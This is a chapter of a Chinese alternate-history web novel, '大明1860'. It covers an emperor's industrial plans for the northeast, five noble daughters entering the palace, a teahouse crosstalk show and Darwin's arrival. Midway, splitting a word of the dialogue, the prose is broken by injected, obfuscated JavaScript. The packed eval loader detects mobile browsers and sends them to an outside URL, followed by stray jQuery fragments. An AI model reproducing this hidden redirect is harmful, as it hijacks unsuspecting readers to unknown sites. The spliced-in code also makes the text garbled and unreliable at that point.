第五十九章五女入宫
作品:《大明1860》 “大明五百载,辽东首夺状元!”
苏州出状元不稀奇,南方出状元也不稀奇,但辽东出状元,却是头一回。
岂止是大明朝,科举自从成立以来,这也是头一遭。
其掀起的波澜,让整个京城沸腾。
举子之中更是议论纷纷,怀疑的有,敬佩的有,含糊的也不在少数。
但无论如何,殿试由皇帝亲自监考,根本就容不得作弊。
所以,大家伙都默认了这是皇帝对北方,尤其是东北的照顾。
实际上,大家伙猜的不错,这确实是皇帝对北方,尤其是东北的照顾。
“自世祖皇帝始,就对东北地区进行开发,两百年来,虽然历经苦寒,但人口总算是到了四千万——”
面对龚橙,朱敦汉毫不犹豫地述说着自己的想法:“对于东北来说,一个状元,最是能提升士气,振奋人心,体现朝廷的照顾!”
龚橙自然是百分百赞同,这是政治手段,也是最简单直接的方法:“东北地区得一状元,天恩浩荡,怕是未来十年文风大起!”
“这也是朕期望的!”朱敦汉目光炯炯,颇有几分感叹:“多年来,北方举业不昌,东北更是寥寥,必须要经受刺激才行……”
东北这地方,虽然拥有上天赐予的黑土地,但苦寒过甚,人口增长很是缓慢。
察哈尔、辽东、吉林、黑龙江总督府、呼伦贝尔将军府、科尔沁将军府,合计六地,总人口才四千万。
最多是辽东,一千万来万,最少的则是呼伦贝尔,才两百余万,差距太大。
也许是冬天太久了,世祖皇帝对其工业开发的并不多,仅局限在辽东,其余的地方多是农业为主。
作为北京的后花园,朱敦汉很难不注视到东北,以及其丰富的煤铁资源,这是工业发展的必需品。
大炼钢铁的背景下,关内的那些铁矿根本就不够看。
“辽东的铁矿资源甚为丰富,还有许多伴生的煤矿,多年来持续开发,但仍不见枯竭,尤其是如今开采技术日益精进,我想大有可为!”
龚橙述说着自己的构想:“在辽东地区建立必要的重工业,在关内则建立轻工业,相辅相成……”
北京的重工业发展很是奇葩,似乎是运河或者海运带来的启发,其煤矿来自于山西,铁矿来自于辽东,然后在北京附近炼制。
原因也很简单,钢铁业必须控制在朝廷手中,而军械司制造火炮、火枪,成本也就高了。
而如果把钢铁厂建立在辽东鞍山地区,那么钢铁的价格至少会降低三成,涉及到了军费达到数百万。
辽东距离北京城很近,坐火车仅需要六个小时,坐船可以通过运河直达北京,可以说是天然的后花园。
后来的一五计划大多数在东北,固然有这里的工业基础比较雄厚,但距离北京近也是极大的优势。
“按陛下所言,采矿业、冶炼业、炼焦业、化学厂、玻璃等行业都可以迁至辽东,不仅能够降低成本,还能够还北京一个青天——”
龚橙笑着说道:“另外,在天津附近,还会设立一个大规模的煤炭厂,从秦国(越南)运来的煤炭在这里加工,然后通过铁路输送至千门万户……”
朱敦汉微微颔首。
说来好笑,秦国除了煤炭,其他资源都很匮乏,所以从秦国运来的煤矿经过加工之后,比本地的还要便宜几成。
尤其是西山煤矿经过多年的持续开采,在现有的技术来看,算是枯竭了,向外进口也就成了必须。
南洋六十余藩国,什么矿产没有?
大规模地进口,不仅能够给藩国创造外汇,更是能够加强对藩国的经济控制。
就如乾隆所说,天国物产丰富,无所不有。
但是对藩国的进口,不仅是经济,还是政治。
据朱敦汉的了解,秦国、齐国等南洋国家,以及西北六国,之所以政治经济来往密切,就是因为金银不足,导致贵金属货币缺乏。
而且其本身不怎么产贵金属,还要大量进口大明的各种手工业产品,如书籍、瓷器,丝绸,乃至于扇子、中药材等,都不落下。
这种情况下,必然要团结才行。
所以,朱敦汉觉得,政治上进行强制拆散并不可取,经济上进行温水煮青蛙才是良策。
“至少三年内,让顺天府的百姓都用得起煤炭,然后则是整个河北——”
朱敦汉目光炯炯:“这对于你来说,应该压力不大吧!”
龚橙心中叫苦,但却只能应下。
“除了煤炭以外,煤气也得普及,北京五县,天津城,在年底之前必须建设好管道!”
朱敦汉意气风发地述说着,龚橙则苦着脸记述着:
“电缆在年底前,一定要贯通天津至北京沿线;在明年,必须通行保定、济南、沈阳三地,三年内通行北方十省。”
“五年内,通行全国——”
听到电缆,龚橙松了口气。
这玩意儿很简单,只需要做出来,然后进行埋填架设就行了,用到的人力物力并不多。
“另外,我听说欧洲已经有了电厂,欧洲有的大明也要有,绝不能落下,
正所谓一步落,步步落……”
听得皇帝絮叨了半个小时,龚橙不敢怠慢,记了厚厚一本子。
将皇帝缓了口气,龚橙才低声道:“陛下,据说达尔文已经坐上了船,快到北京成了!”
“什么时候到?”
“如果时间无误的话,大概是五月初——”
“行,到时候带他来见我!”
殿试结束,选秀开始之前,包括贾府在内的五家勋贵,都将女儿送至紫禁城。
这是在去年就已经定下了人选,今年才送至皇宫,算是迟了不少。
整个贾府喜气洋洋,人人都换上了新衣,就连奴仆也不例外,穿着比街道上的行人还要光鲜。
门口更是撒了一遍又一遍的水,光滑的好像能够给人照个面,但贾府仍旧不满足,不断的派人打扫。
“娘!”
贾元春戴着发钗,穿着一袭简单的衣服,朴素中带着贵气。
这也并非是贾府吝啬,而是因为作为妃嫔,身上的衣物基本上都是皇家供应,贾府的东西就算是带过去了,也只能被闲置。
所以,贾家只能塞了五千块银票入其手中,让她在宫中好过一些。
贾母泪眼婆娑,抓住她的手就不放开:“我的好乖孙,入宫之后得仔细些,莫要逞强,得顺着规矩做事,雷霆雨露莫是君恩……”
说着,她从怀中掏出了一个匣子:“这是先祖从宫里得的赏赐,规制上是符合的,你收着——”
贾元春只能手下。
王母则是拉着其手舍不得放开,最后跺了跺脚,往她的手中塞了一点银票。
而圆脸少年,贾宝玉只能在旁边看着,心中甚是难过,但却说不出话来,也不知道该说些什么。
贾元春最后对他找了招手,摸了摸大圆脸,带着哭腔说道:
“宝玉,以后姐姐就不在爹娘身边,你在府中要多伺候,代我在身边尽孝,知道吗?”
“嗯嗯!”贾宝玉立马就眼泪出来了。
“好好读书,科举才是正途,不要整天想着斗蛐蛐斗鸡,那是纨绔子弟……”
听到这,贾宝玉不知为何心中的伤心消失了。
一直拖延了近十分钟,身边的宦官则赶来道:“各位,时间差不多了,莫要错过了吉时……”
随即,马车开始行动。
林黛玉等一众女子,即使不方便抛头露面,也不由得站在大门前翘首望着,注视着马车离开了街道。
附近几条街同样锣鼓喧天,鞭炮,声音,五家勋贵同时入宫,这场面可谓是极为热闹。
不仅是锦衣卫,京营更是亲自把守街道,生怕出了差错。
因为五女进宫,春来茶馆也是颇为热闹。
时令进入了五月,天气越来越热得让人难以接受,今年的夏天北京城分外的炎热便是在北京居住了几代的老人,说起来也觉得奇怪:“往年的北京城可没有这般酷热吧?”
“可不是嘛!”张四和一边肃手邀客,一边和坐上客搭讪聊天:“今年的天气简直是邪了。不要说是人觉得热,便是那畜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631611|143570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生,也热得没有一点精神。不信,您看孙二爷……?”
“嘿!”被他点到名字的孙二爷大怒:
“你这混小子,你才是畜生呢!”
张四和赶忙自己给自己扇了个嘴巴,陪笑道:“哎呦!您瞧我这张臭嘴,我是说,孙二爷的雀儿,二爷,小的绝没有旁的意思,您老可千万不敢误会啊。”
“得啦,饶了你个小猴儿崽子这一遭。”
“要不怎么说大人有大量的不是?”
张四和嬉笑着原地拱手:“得喽。孙二爷今天的茶钱,算在我的账上好了。”
“去招呼你的客人吧,小猴儿崽子!”孙二爷一笑:“二爷才不承你的情呢。”
旁边有熟悉的茶客答话:“孙二爷,没错!这小子分明想讨便宜,若是真有心赔罪的话,也该在东来顺,天宝居摆上一桌,请孙二爷一次。”
“那是,那是。”
张四和是那种八面玲珑的家伙,心中暗骂,脸上却完全看不出来:“四和自然要请,只是二爷心疼我,怕是不肯赏我这个面子呢!”
“你们听见了吗?合着这还是我的不是了。这个小子,真是生了一张巧嘴儿!”
众人说笑间,忽然堂中走来了两个男人。
一个黑胖,一个魁梧,两人身着布衣,提着扇子,施施然地走到众人之间:
“今个是我两人伺候诸位,有劳了各位看官赏脸了——”
说的两人就自顾自的动起了嘴皮子。
一个在那张扬,一个在那沉稳,笑料百出,让人捧腹大笑。
茶客们倒是有大方的,些许的铜钱纷纷的撒了过去,惹了一个又一个的感谢。
张四和也乐滋滋地听着。
“四和,这是啥玩意儿?也不像是说书啊!”老茶客随口问道。
“张爷,您是好久没来了,这是新近出现的行说,说叫什么相声,两个人一个人都可以说。”
张四和低声道:“以前都是在街道上划地说,这段时间不知道怎么着,许多人请到了茶楼,甚至是戏楼。”
“我春来茶馆到底也是北京
城老馆子,可不能落伍了,要是没有新花样,客人不就跑光了吗?”
“说的也是!”
众多看官听着相声,喝着茶,见这两人说的笑话,一言一语之中都带着深意,让人捧腹大笑,同时又话不离道,没有太过于松散。
显然有一定的规矩在里面。
“相声?”
二楼包厢,作为五女进宫的主角,朱敦汉并没有在皇宫中,而是出了宫,在外溜达。
这场婚礼,其实就是一场政治,他见得多了,自然就不太在意。
所以出了宫,就想听听外面百姓怎么议论的,舆情嘛!
谁知道竟然碰到了说相声的。
“相声?”他嘀咕着:“这一行当就那么地出现了?倒是稀奇!”
“走吧!”听了一会儿,朱敦汉就没了兴致。
这些笑话在捧逗之间转换,对于当事人来说很新奇,但对他而言却是没什么吸引力。
回到皇宫,只见石大福忙走过来:“我的爷,太后她老人家找您呢,今个可是大日子!”
“我知道了!”
朱敦汉随口应着。
紧接着,就是换上礼服了。
由于娶得不是正妻,而是纳妾,所以后宫之中并不怎么热闹,但该有的喜庆还是出现的。
五女各具特色,珠圆碧润,朱敦汉倒是各饱口福。
对他来说,这些女人就像是糕点,偶尔品尝一下即可,太多了就会腻。
所以,忙活周转几天后,他就见到了千里迢迢而来的达尔文一家。
作为著名的生物学家,以及英格兰人,达尔文一如既往地脱发了,唯独胡须甚为茂密。
“达尔文先生,坐!”
朱敦汉见其一家颇为惶恐,他倒是毫不介意。
一旁的翻译颤抖地表述着皇帝对话。
见他们肉眼可见的轻松起来,朱敦汉则道:“正在组建的皇家科学学院,你将会担任生物学院的院长……”